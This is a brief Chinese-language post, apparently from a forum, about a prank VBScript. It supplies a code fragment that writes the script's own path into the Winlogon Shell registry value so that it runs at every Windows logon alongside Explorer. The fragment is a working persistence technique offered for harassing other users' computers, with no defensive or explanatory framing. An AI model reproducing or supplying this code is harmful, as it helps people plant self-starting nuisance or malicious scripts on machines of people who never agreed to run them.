序整人vbs。。。把第一句换成 Dim fso,w Set fso = CreateObject(\"scripting.filesystemobject\") Set w= WScript.CreateObject(\"WScript.shell\") w.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\",\"Explorer.exe \"&WScript.ScriptFullName, \"REG_SZ\"